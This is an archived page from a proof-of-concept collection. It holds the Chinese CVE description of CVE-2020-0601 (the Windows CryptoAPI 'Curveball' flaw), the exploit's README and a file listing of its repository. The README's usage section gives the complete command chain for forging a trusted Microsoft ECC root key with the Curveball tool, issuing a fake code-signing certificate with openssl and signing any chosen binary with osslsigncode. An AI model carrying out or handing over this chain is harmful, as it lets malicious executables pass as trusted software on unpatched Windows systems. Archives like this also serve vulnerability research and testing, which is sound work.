关联漏洞
标题:Microsoft Windows CryptoAPI 信任管理问题漏洞 (CVE-2020-0601)Description:Microsoft Windows CryptoAPI是美国微软(Microsoft)公司的一个在Windows 操作系统中添加的密码编译机能。作为资料加密与解密功能的重要基础,CryptoAPI 支持同步,异步的密钥加密处理,以及操作系统中的数字证书 的管理工作。 Microsoft Windows CryptoAPI (Crypt32.dll)中验证椭圆曲线加密(ECC)证书的方法存在信任管理问题漏洞。攻击者可通过使用欺骗性的代码签名证书利用该漏洞签名恶意的可执行文件。以下产品及版本受到影响:Micr
Description
PoC for CVE-2020-0601 - CryptoAPI exploit
介绍
# Curveball
A PoC for [CVE-2020-0601](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601). A detailed blog post can be found [here](http://web.archive.org/web/20200224210145/https://blog.layle.io/uncovering-cve-2020-0601/). This exploit allows you to create a fake trusted certificate by abusing how CryptoAPI handles certain parameters on ECC based certificates.
## Setup
Clone the repository and open it in Visual Studio 2019. Switch to Release and compile it. You can find prebuilt binaries [here](https://github.com/ioncodes/Curveball/releases).
## Usage
```bash
.\Curveball.exe MicrosoftECCProductRootCertificateAuthority.cer MicrosoftECCProductRootCertificateAuthority_fake.key
# in linux bash (you can also use Windows but you'd have to get an alternative for osslsigncode). WSL on Windows works fine.
openssl req -new -x509 -key MicrosoftECCProductRootCertificateAuthority_fake.key -out trusted_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl.conf -reqexts v3_cs
openssl x509 -req -in cert.csr -CA trusted_ca.crt -CAkey MicrosoftECCProductRootCertificateAuthority_fake.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl.conf -extensions v3_cs
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile trusted_ca.crt -name "Code Signing" -out cert.p12
./osslsigncode sign -pkcs12 cert.p12 -n "Signed by Layle" -in <BINARY_TO_SIGN> -out <SIGNED_BINARY>
```
## Result
Note that the 7zip installer is usually not signed!

文件快照
[4.0K] /data/pocs/f296157aad95f7e5adc4956d81a56c93e202975a
├── [4.0K] Curveball
│ ├── [1.6K] Curveball.cpp
│ ├── [8.4K] Curveball.vcxproj
│ ├── [ 944] Curveball.vcxproj.filters
│ ├── [1.4K] Curveball.vcxproj.user
│ ├── [4.0K] include
│ │ └── [4.0K] openssl
│ │ ├── [3.3K] aes.h
│ │ ├── [3.4K] applink.c
│ │ ├── [ 14K] asn1err.h
│ │ ├── [ 33K] asn1.h
│ │ ├── [ 395] asn1_mac.h
│ │ ├── [ 32K] asn1t.h
│ │ ├── [1.3K] asyncerr.h
│ │ ├── [2.3K] async.h
│ │ ├── [6.2K] bioerr.h
│ │ ├── [ 34K] bio.h
│ │ ├── [1.8K] blowfish.h
│ │ ├── [4.8K] bnerr.h
│ │ ├── [ 22K] bn.h
│ │ ├── [ 820] buffererr.h
│ │ ├── [1.6K] buffer.h
│ │ ├── [3.1K] camellia.h
│ │ ├── [1.6K] cast.h
│ │ ├── [1.0K] cmac.h
│ │ ├── [ 11K] cmserr.h
│ │ ├── [ 16K] cms.h
│ │ ├── [1.2K] comperr.h
│ │ ├── [1.3K] comp.h
│ │ ├── [1.3K] conf_api.h
│ │ ├── [3.3K] conferr.h
│ │ ├── [5.5K] conf.h
│ │ ├── [2.2K] cryptoerr.h
│ │ ├── [ 17K] crypto.h
│ │ ├── [3.4K] cterr.h
│ │ ├── [ 16K] ct.h
│ │ ├── [ 556] __DECC_INCLUDE_EPILOGUE.H
│ │ ├── [ 627] __DECC_INCLUDE_PROLOGUE.H
│ │ ├── [7.4K] des.h
│ │ ├── [3.9K] dherr.h
│ │ ├── [ 13K] dh.h
│ │ ├── [2.9K] dsaerr.h
│ │ ├── [9.4K] dsa.h
│ │ ├── [1.6K] dtls1.h
│ │ ├── [ 924] ebcdic.h
│ │ ├── [ 358] ecdh.h
│ │ ├── [ 358] ecdsa.h
│ │ ├── [ 15K] ecerr.h
│ │ ├── [ 62K] ec.h
│ │ ├── [5.3K] engineerr.h
│ │ ├── [ 34K] engine.h
│ │ ├── [8.7K] e_os2.h
│ │ ├── [ 11K] err.h
│ │ ├── [ 11K] evperr.h
│ │ ├── [ 73K] evp.h
│ │ ├── [1.6K] hmac.h
│ │ ├── [2.0K] idea.h
│ │ ├── [2.1K] kdferr.h
│ │ ├── [4.2K] kdf.h
│ │ ├── [9.0K] lhash.h
│ │ ├── [1.0K] md2.h
│ │ ├── [1.3K] md4.h
│ │ ├── [1.3K] md5.h
│ │ ├── [1.0K] mdc2.h
│ │ ├── [ 10K] modes.h
│ │ ├── [1.3K] objectserr.h
│ │ ├── [6.5K] objects.h
│ │ ├── [212K] obj_mac.h
│ │ ├── [3.3K] ocsperr.h
│ │ ├── [ 15K] ocsp.h
│ │ ├── [4.5K] opensslconf.h
│ │ ├── [4.0K] opensslv.h
│ │ ├── [6.1K] ossl_typ.h
│ │ ├── [ 415] pem2.h
│ │ ├── [5.0K] pemerr.h
│ │ ├── [ 15K] pem.h
│ │ ├── [3.7K] pkcs12err.h
│ │ ├── [9.6K] pkcs12.h
│ │ ├── [5.0K] pkcs7err.h
│ │ ├── [ 11K] pkcs7.h
│ │ ├── [4.7K] rand_drbg.h
│ │ ├── [4.4K] randerr.h
│ │ ├── [2.2K] rand.h
│ │ ├── [1.5K] rc2.h
│ │ ├── [ 825] rc4.h
│ │ ├── [1.9K] rc5.h
│ │ ├── [1.2K] ripemd.h
│ │ ├── [8.9K] rsaerr.h
│ │ ├── [ 22K] rsa.h
│ │ ├── [7.9K] safestack.h
│ │ ├── [3.4K] seed.h
│ │ ├── [3.7K] sha.h
│ │ ├── [3.7K] srp.h
│ │ ├── [1.3K] srtp.h
│ │ ├── [ 542] ssl2.h
│ │ ├── [ 14K] ssl3.h
│ │ ├── [ 46K] sslerr.h
│ │ ├── [109K] ssl.h
│ │ ├── [3.0K] stack.h
│ │ ├── [4.3K] storeerr.h
│ │ ├── [ 11K] store.h
│ │ ├── [1.3K] symhacks.h
│ │ ├── [ 71K] tls1.h
│ │ ├── [6.6K] tserr.h
│ │ ├── [ 22K] ts.h
│ │ ├── [1.6K] txt_db.h
│ │ ├── [2.7K] uierr.h
│ │ ├── [ 16K] ui.h
│ │ ├── [1.3K] whrlpool.h
│ │ ├── [6.6K] x509err.h
│ │ ├── [ 42K] x509.h
│ │ ├── [8.6K] x509v3err.h
│ │ ├── [ 33K] x509v3.h
│ │ └── [ 31K] x509_vfy.h
│ └── [4.0K] lib
│ ├── [ 34M] libcrypto64MDd.lib
│ ├── [ 36M] libcrypto64MD.lib
│ ├── [ 34M] libcrypto64MTd.lib
│ ├── [ 36M] libcrypto64MT.lib
│ ├── [6.7M] libssl64MDd.lib
│ ├── [7.1M] libssl64MD.lib
│ ├── [6.7M] libssl64MTd.lib
│ ├── [7.1M] libssl64MT.lib
│ └── [4.0K] VC
│ ├── [985K] libcrypto64MDd.lib
│ ├── [985K] libcrypto64MD.lib
│ ├── [985K] libcrypto64MTd.lib
│ ├── [985K] libcrypto64MT.lib
│ ├── [119K] libssl64MDd.lib
│ ├── [119K] libssl64MD.lib
│ ├── [119K] libssl64MTd.lib
│ ├── [119K] libssl64MT.lib
│ └── [4.0K] static
│ ├── [ 34M] libcrypto64MDd.lib
│ ├── [ 36M] libcrypto64MD.lib
│ ├── [ 34M] libcrypto64MTd.lib
│ ├── [ 36M] libcrypto64MT.lib
│ ├── [6.7M] libssl64MDd.lib
│ ├── [7.1M] libssl64MD.lib
│ ├── [6.7M] libssl64MTd.lib
│ └── [7.1M] libssl64MT.lib
├── [1.4K] Curveball.sln
├── [4.0K] images
│ └── [ 26K] trusted.png
├── [1.1K] MicrosoftECCProductRootCertificateAuthority.cer
├── [ 751] MicrosoftECCProductRootCertificateAuthority_fake.key
├── [ 275] openssl.conf
└── [1.6K] README.md
7 directories, 141 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。